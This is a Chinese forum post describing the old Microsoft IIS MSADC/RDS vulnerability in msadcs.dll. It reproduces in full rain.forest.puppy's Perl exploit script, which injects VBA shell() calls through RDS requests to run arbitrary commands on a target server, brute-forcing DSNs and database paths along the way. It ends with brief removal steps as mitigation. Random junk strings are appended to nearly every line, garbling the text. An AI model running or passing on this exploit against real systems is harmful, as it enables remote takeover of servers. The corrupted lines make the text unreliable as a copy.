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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $()5VM b  
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涉及程序: Hv!U| L  
Microsoft NT server /rM I"khB  
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描述: {,3>"  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ci?Ss+|  
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详细: } uO);k5H  
如果你没有时间读详细内容的话,就删除: e7@ojOQ%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 'w!Cn>  
有关的安全问题就没有了。 8?J&`e/  
ZU85P0  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 JX -' mV`  
R?68*} `7  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 j!_;1++q  
关于利用ODBC远程漏洞的描述,请参看: -- PtZ]Z  
A$<.a'&T!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (gy#js #  
&{ay=Mj  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 5XO;N s  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ./,/y"x  
lm!.W5-l  
这里不再论述。 t5[ #x4 p  
;fsZ7k4]do  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: GO8GJ;B-U  
K17j$o^6KK  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset , 0imiv  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! $@"l#vJPfc  
os,* 3WO  
}#.L7SIJ<J  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y603$Cv  
jNTjSX  
#!perl /~}}"zx&  
# `Zf^E >)  
# MSADC/RDS 'usage' (aka exploit) script ~$ng^D  
# K!:azP,bZ  
# by rain.forest.puppy ?6Jx@Sh  
# NYE` Kin-  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me hHN'w73z  
# beta test and find errors! {/"2Vk<H8  
(}a8"]Z  
use Socket; use Getopt::Std; TFH\K{DM  
getopts("e:vd:h:XR", \%args); vu|n<  
^c<ucv6.  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; a&tSj35*6  
]4~lYuI4  
if (!defined $args{h} && !defined $args{R}) { K#EvFs`s;  
print qq~ 'd.EC#  
Usage: msadc.pl -h <host> { -d <delay> -X -v }  5V6G=H  
-h <host> = host you want to scan (ip or domain) pNOwDJtK  
-d <seconds> = delay between calls, default 1 second G;&-\0>W  
-X = dump Index Server path table, if available 1KMLG=  
-v = verbose m5L-67[sB  
-e = external dictionary file for step 5 +g` 'J$  
BbW^Wxd3  
Or a -R will resume a command session 6qRx0"qB  
H18Tn!RDS  
~; exit;} d p2F  
#1`-*.u  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; d\p,2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ;gBRCZ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0*rQ3Z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); N03HQp)g  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} fF?z|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } N"8_S0=pw  
#.it]Nv{  
if (!defined $args{R}){ $ret = &has_msadc; AB F"~=aL  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ko Z  
TT'[qfAI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8dZ0rPd?  
. "cmd /c "; 3^R&:|,  
$in=<STDIN>; chomp $in; 0uWR<,]  
$command="cmd /c " . $in ; 3{""58  
b?TO=~k,  
if (defined $args{R}) {&load; exit;} ?3*l{[@J  
XM1WfjE\  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Z3{>yYR+  
&try_btcustmr; 7B b9 t  
vV[eWd.o6M  
print "\nStep 2: Trying to make our own DSN..."; lLp^Gt^}w(  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q[HTnx  
LJ*q1 ;<E  
print "\nStep 3: Trying known DSNs...";  86(I^=  
&known_dsn; I|>^1kr8w  
{U!8|(  
print "\nStep 4: Trying known .mdbs..."; .z 6fv  
&known_mdb; GqWB{$J;"  
2W/?q!t  
if (defined $args{e}){  TR<<+  
print "\nStep 5: Trying dictionary of DSN names..."; k%D+Y(WGz8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Tsgk/e9K2?  
2Tfz=7h$  
print "Sorry Charley...maybe next time?\n"; *$p2*%7Ne  
exit; IqC]!H0  
}D7I3]2>   
############################################################################## b+@JY2dvj  
Cg&e(  
sub sendraw { # ripped and modded from whisker hvA^n@nr  
sleep($delay); # it's a DoS on the server! At least on mine... Fb^:V4<T  
my ($pstr)=@_; RnhL< Ywu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,_yh z0.  
die("Socket problems\n"); <4_X P.N  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5#> 8MU?&  
select(S); $|=1; #gp,V#T  
print $pstr; my @in=<S>; T'4z=Z]w  
select(STDOUT); close(S); *8#i$w11M  
return @in; %1O;fQL  
} else { die("Can't connect...\n"); }} p$h4u_  
_h X]%  
############################################################################## {.QEc0-  
@$LWWTr;  
sub make_header { # make the HTTP request 5D_fXfx_|  
my $msadc=<<EOT ;\lW5ZX  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 et,f_fd7v  
User-Agent: ACTIVEDATA uM_#  
Host: $ip iTag+G4*  
Content-Length: $clen "kMguK}c  
Connection: Keep-Alive wm)#[x #  
bKrhIU[  
ADCClientVersion:01.06 2'_:S@  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Z$0 uH*h  
gA:5M  
--!ADM!ROX!YOUR!WORLD! GG@ md_  
Content-Type: application/x-varg s}jHl8  
Content-Length: $reqlen F'B8v 3  
J]&y$?C  
EOT `t_W2y   
; $msadc=~s/\n/\r\n/g; ^j" .  
return $msadc;} |P -8HlOr  
#$c Rkw  
############################################################################## VJdIHsI  
ZCB_  
sub make_req { # make the RDS request o(:[r@Z0z  
my ($switch, $p1, $p2)=@_; "Qja1TQ  
my $req=""; my $t1, $t2, $query, $dsn; po$ /7  
O [i#9)  
if ($switch==1){ # this is the btcustmr.mdb query JMH8MH*  
$query="Select * from Customers where City=" . make_shell(); AgFVv5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . -PS#Z0>  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} i?fOK_d  
G8r``{C!  
elsif ($switch==2){ # this is general make table query $)RNKMZC}A  
$query="create table AZZ (B int, C varchar(10))"; yto,>Utzg  
$dsn="$p1";} f}1&HI8r  
:{IO=^D=$  
elsif ($switch==3){ # this is general exploit table query <^zHE=h"  
$query="select * from AZZ where C=" . make_shell(); HYD"#m'TkB  
$dsn="$p1";} 9(6I<]#  
w9, iq@  
elsif ($switch==4){ # attempt to hork file info from index server 2 !At2P2  
$query="select path from scope()"; XLL/4)  
$dsn="Provider=MSIDXS;";} |!"2fI  
Iz ;G*W18  
elsif ($switch==5){ # bad query =li|  
$query="select"; 'g$(QvGF 9  
$dsn="$p1";} 4\6N~P86  
iVd.f A  
$t1= make_unicode($query); J2j U4mR  
$t2= make_unicode($dsn); i{ \%e  
$req = "\x02\x00\x03\x00"; \'9PZ6q{  
$req.= "\x08\x00" . pack ("S1", length($t1)); wg0 \_@3  
$req.= "\x00\x00" . $t1 ; rMUT_^  
$req.= "\x08\x00" . pack ("S1", length($t2)); :'*DPB-  
$req.= "\x00\x00" . $t2 ; 7vABq(  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ( YQWbOk  
return $req;} K91)qI;BD  
P&b19K'  
############################################################################## nS&3?lx9_  
.!G94b  
sub make_shell { # this makes the shell() statement xA9:*>+>  
return "'|shell(\"$command\")|'";}  >lBD<;T  
q*2N{  
############################################################################## RTv qls  
IdXZoY  
sub make_unicode { # quick little function to convert to unicode CMn{LQcC  
my ($in)=@_; my $out; 7{I h_.#  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } <<i3r|}  
return $out;} }S3qBQTYL  
Er{#ziN+  
############################################################################## * 1Od-3  
uPRQU+  
sub rdo_success { # checks for RDO return success (this is kludge) Ay !G1;  
my (@in) = @_; my $base=content_start(@in); 8HRmQ  
if($in[$base]=~/multipart\/mixed/){ e0J6Ae4V[  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} gS:A'@&  
return 0;} Oi:<~E[kz.  
S-YM%8A[  
############################################################################## |]aE<`D  
KyzFnVH3)  
sub make_dsn { # this makes a DSN for us *P#WDXRwd  
my @drives=("c","d","e","f"); ?}m']4p  
print "\nMaking DSN: "; Q4*fc^?u  
foreach $drive (@drives) { xCYE B}o9r  
print "$drive: "; Gkp< o  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . k iRa+w:  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" CYKr\DA  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); JqMDqPIQ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %zSuK8kxV  
return 0 if $2 eq "404"; # not found/doesn't exist fwBRWr9  
if($2 eq "200") { %s&ChM?8F  
foreach $line (@results) { >-O/U5<!  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} xY$iz)^0&  
} return 0;} Y}[c^$S  
<}sq?Sfq!  
############################################################################## ;>AL`M+  
6<'21  
sub verify_exists { 8P"_#M?!  
my ($page)=@_; h68]=KyK  
my @results=sendraw("GET $page HTTP/1.0\n\n"); IN,(y aC  
return $results[0];} v$=QA:!U  
P0$e~=Q^4  
############################################################################## j~FD{%4N  
sYdRh?Hq  
sub try_btcustmr { |=EZ1<KzD  
my @drives=("c","d","e","f"); #^4,GLIM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Vur bW=~g  
P) uDLFp]  
foreach $dir (@dirs) { 0d3+0EN{  
print "$dir -> "; # fun status so you can see progress gd0Vp Xf'  
foreach $drive (@drives) { [Tnsr(Z  
print "$drive: "; # ditto kFQ8 y~>y}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; z Nl ,  
$reqlenlen=length( "$reqlen" ); J!5v~<v?-  
$clen= 206 + $reqlenlen + $reqlen; ) /v6l  
>y}M.Mm  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]q6;#EUr?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} [|lB5gi4t!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} doB  
l$YC/ bP  
############################################################################## VL[kJi   
vA X|hwn;  
sub odbc_error { '*Almv{  
my (@in)=@_; my $base; YOrrkbJ(  
my $base = content_start(@in); NBF MN%  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this de]zT^&C  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^+ wD43  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r)T:7zy  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W;1|+6x  
return $in[$base+4].$in[$base+5].$in[$base+6];} sO5?aB&  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; J -ePE7i  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -kS~xVS|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9m-)Xdoy  
8v7 1e>  
############################################################################## &*s0\ 8  
 iL= m{  
sub verbose { [lk'xzE  
my ($in)=@_; "7 v-` i  
return if !$verbose; )~V4+*<  
print STDOUT "\n$in\n";} X{^}\,cVtG  
} %'bullT  
############################################################################## k"N(o(  
^T.E+2=>z  
sub save { h!#:$|Q  
my ($p1, $p2, $p3, $p4)=@_; J|3E-p\o  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; qClHP)<  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; #eN{!Niy&U  
close OUT;} )9S>Z ZF  
}@+NN ?P  
############################################################################## N-g8}03  
n$aA)"A #  
sub load { J>^\oAgpE  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; f""`cdqAOh  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); DOz\n|8S  
@p=<IN>; close(IN); ~w</!s  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); [DHoGy,P  
$target= inet_aton($ip) || die("inet_aton problems"); p7ir*r/2  
print "Resuming to $ip ..."; c>1RP5vx  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ZvGgmLN  
if($p[1]==1) { xvNo(>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; f/kI| Z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 5[{*{^F4  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));  h C=:q  
if (rdo_success(@results)){print "Success!\n";} 9]'($:LF08  
else { print "failed\n"; verbose(odbc_error(@results));}} E`j-6:  
elsif ($p[1]==3){ i-U4RZE  
if(run_query("$p[3]")){ za'6Y*CGgX  
print "Success!\n";} else { print "failed\n"; }} hCYQGx0  
elsif ($p[1]==4){ 4Iq'/r  
if(run_query($drvst . "$p[3]")){ ICB~_O5  
print "Success!\n"; } else { print "failed\n"; }} J4=_w  
exit;} 81%8{yn!$"  
=V97;kq+v  
############################################################################## T<-=nX  
N 4K8 u'f^  
sub create_table { _28<m JfG  
my ($in)=@_; \tyg(srw0  
$reqlen=length( make_req(2,$in,"") ) - 28; ]l~V&#i_c  
$reqlenlen=length( "$reqlen" ); Sb".]>^  
$clen= 206 + $reqlenlen + $reqlen; `d2,*KR  
my @results=sendraw(make_header() . make_req(2,$in,"")); }<jb vCeK  
return 1 if rdo_success(@results); zciCcrJ  
my $temp= odbc_error(@results); verbose($temp); @mt0kV9  
return 1 if $temp=~/Table 'AZZ' already exists/; \uG`|D n  
return 0;} -xg2q V\c  
>%Ee#m  
############################################################################## >\<*4J$PZ  
$XBAZ<"hd  
sub known_dsn { }%TSGC4{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Z.i{i^/#(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", %b?$@H-Re  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", o$.e^XL  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); x\s,= n3z  
IgL_5A  
foreach $dSn (@dsns) { xKOq[d/8  
print "."; CY?G*nS?iK  
next if (!is_access("DSN=$dSn")); dz#5q-r  
if(create_table("DSN=$dSn")){ ?yXAu0  
print "$dSn successful\n"; ftk%EYT;  
if(run_query("DSN=$dSn")){ V2|3i}V"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O)R(==P26P  
print "Something's borked. Use verbose next time\n";}}} print "\n";} r C[6lIP  
f DgD@YCD  
############################################################################## %m{U& -(l@  
kJs^ z  
sub is_access { uk`8X`'  
my ($in)=@_; qIwV q!=  
$reqlen=length( make_req(5,$in,"") ) - 28; (/ " &  
$reqlenlen=length( "$reqlen" ); ,}D}oo*  
$clen= 206 + $reqlenlen + $reqlen; |rRG=tG_'  
my @results=sendraw(make_header() . make_req(5,$in,"")); ]7AX%EG3  
my $temp= odbc_error(@results); lz | 64J  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 7@%'wy&A  
return 0;} Aw!gSf)  
^] p  
############################################################################## o**yZ2  
%qsvtc`  
sub run_query { Zszs1{t  
my ($in)=@_; S\NL+V?7h  
$reqlen=length( make_req(3,$in,"") ) - 28; eyw'7  
$reqlenlen=length( "$reqlen" ); VY 1vXM3y  
$clen= 206 + $reqlenlen + $reqlen; o[6y+<'o  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;/AG@$)  
return 1 if rdo_success(@results); fn{S "33"  
my $temp= odbc_error(@results); verbose($temp); J?:[$C5  
return 0;} |f2A89  
YJ7V`N p  
############################################################################## `BZ&~vJ_  
|I[7,`C~  
sub known_mdb { '3l$al:H^  
my @drives=("c","d","e","f","g"); 5iFV;W  
my @dirs=("winnt","winnt35","winnt351","win","windows"); VFD%h }  
my $dir, $drive, $mdb; MN;/*t  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; K=u0nrG*  
m)?5}ZwAH  
# this is sparse, because I don't know of many "u' )g&   
my @sysmdbs=( "\\catroot\\icatalog.mdb", \Mx JH[  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @fn6<3  
"\\system32\\certmdb.mdb", GtI6[ :1t  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &;q<M_<  
eQX`,9:5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ySN V^+  
"\\cfusion\\cfapps\\forums\\forums_.mdb", DhKr;e  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", rE!1wc>L  
"\\cfusion\\cfapps\\security\\realm_.mdb", y)J(K*x/$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", wod/&!)]A  
"\\cfusion\\database\\cfexamples.mdb", {gy+3  
"\\cfusion\\database\\cfsnippets.mdb", ;\)=f6N  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 0^!Gib  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", hY \{|  
"\\cfusion\\brighttiger\\database\\cleam.mdb", h%#_~IA:|  
"\\cfusion\\database\\smpolicy.mdb", 4,eQW[;kk  
"\\cfusion\\database\cypress.mdb", \x\.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", uVU`tDzd:  
"\\website\\cgi-win\\dbsample.mdb", h#f&|* Q5m  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Mn^zYW|(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" f$xhb3Qn  
); #these are just ]gd/}m)1  
foreach $drive (@drives) { ^3I'y UsY  
foreach $dir (@dirs){ ij)Cm]4(2  
foreach $mdb (@sysmdbs) { r)l`  
print "."; nTnRGf\T  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^o<[. )  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; x(r+P9f\<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ cz.3|Lby  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; %JoxYy-  
} else { print "Something's borked. Use verbose next time\n"; }}}}} hFb fNB3  
)@ PnTpL*  
foreach $drive (@drives) { 2)LX^?7R  
foreach $mdb (@mdbs) { [QEwK|!L  
print "."; wa3F  
if(create_table($drv . $drive . $dir . $mdb)){ P\B3 y+)  
print "\n" . $drive . $dir . $mdb . " successful\n"; # 3.)H9  
if(run_query($drv . $drive . $dir . $mdb)){ (.^8^uc 7X  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ua& @GXvZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} U}P,EP%p  
} xUj2 ]Q>R+  
N~#D\X^t.  
############################################################################## {OxWcK\2@h  
}$)&{d G  
sub hork_idx { D9,! %7i  
print "\nAttempting to dump Index Server tables...\n"; !UNNjBBP7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ^8742.  
$reqlen=length( make_req(4,"","") ) - 28; X ]s"5ju|t  
$reqlenlen=length( "$reqlen" ); 4]BJ0+|mT  
$clen= 206 + $reqlenlen + $reqlen;  nP_=GI  
my @results=sendraw2(make_header() . make_req(4,"","")); U)~#g'6:8  
if (rdo_success(@results)){ 6VR18Y!y  
my $max=@results; my $c; my %d; t"YIq/08  
for($c=19; $c<$max; $c++){ d^aNR Lv  
$results[$c]=~s/\x00//g; jU$Y>S>l  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; m "]!I~jd  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; l P0k:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; iSd?N}2,I  
$d{"$1$2"}="";} i:k-"  
foreach $c (keys %d){ print "$c\n"; } >(tO QeN  
} else {print "Index server doesn't seem to be installed.\n"; }} v>I<|  
FGVb@=TO>  
############################################################################## y&rY0bm  
<9 },M  
sub dsn_dict { \!PV*%P  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); (t74a E pi  
while(<IN>){ a/e\vwHLv  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; i<:p.ug-O  
next if (!is_access("DSN=$dSn")); FW^.m?}|  
if(create_table("DSN=$dSn")){ n0FYfqH  
print "$dSn successful\n";  ^@q#$/z  
if(run_query("DSN=$dSn")){ h6FgS9H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @zs1>\J7  
print "Something's borked. Use verbose next time\n";}}} ;Uk!jQh  
print "\n"; close(IN);} u%aFb*  
\\iK'|5YG  
############################################################################## $h]NXC6J  
$[Q cEk  
sub sendraw2 { # ripped and modded from whisker sX~45u \  
sleep($delay); # it's a DoS on the server! At least on mine... +E#PJ_H=F8  
my ($pstr)=@_; z[biK|YL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $B ?? Ip?P  
die("Socket problems\n"); Z!)f*  
if(connect(S,pack "SnA4x8",2,80,$target)){ >Fh#DmQ  
print "Connected. Getting data"; 8_awMVAy  
open(OUT,">raw.out"); my @in; .nPL2zO  
select(S); $|=1; print $pstr; ylim/`u}6  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} vTcZ8|3e  
close(OUT); select(STDOUT); close(S); return @in; )8]3kQffJ=  
} else { die("Can't connect...\n"); }} $O]^Xm3{@  
+ o{*r#  
############################################################################## f-]><z  
E@]sq A  
sub content_start { # this will take in the server headers ]W|RtdF3.N  
my (@in)=@_; my $c; =VCQ*  
for ($c=1;$c<500;$c++) { p\ok_*b  
if($in[$c] =~/^\x0d\x0a/){ f@*>P_t  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } u7 ~mn l  
else { return $c+1; }}} L`pY27 |  
return -1;} # it should never get here actually UhA_1A'B  
500> CBL0O  
############################################################################## @:IL/o*  
#rq?f  
sub funky { Bpas[2gYC  
my (@in)=@_; my $error=odbc_error(@in);  I9Om#m  
if($error=~/ADO could not find the specified provider/){ @|]G0&gn&?  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; .hgH9$\  
exit;} U[Nosh)hu\  
if($error=~/A Handler is required/){ JQH7ZaN  
print "\nServer has custom handler filters (they most likely are patched)\n"; }_vM&.GFlL  
exit;} W%H]Uyt  
if($error=~/specified Handler has denied Access/){ 2i"HqAB  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6*V8k%H  
exit;}} }2mI*"%)\u  
A{t"M-<  
############################################################################## [DL|Ht>  
tUrNp~ve,  
sub has_msadc { 8LeK wb  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); y* rY~U#3  
my $base=content_start(@results); g X8**g'  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); m/KjJ"s,  
return 0;} mMslWe  
fxOE]d8v  
######################## e %&  
6w@,I;   
OU6^+Ta  
解决方案: 2\ ,e  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll " C&x ,Ic  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 t+jIHo  
u9 %;{:]h  
拿出来充数 哈哈
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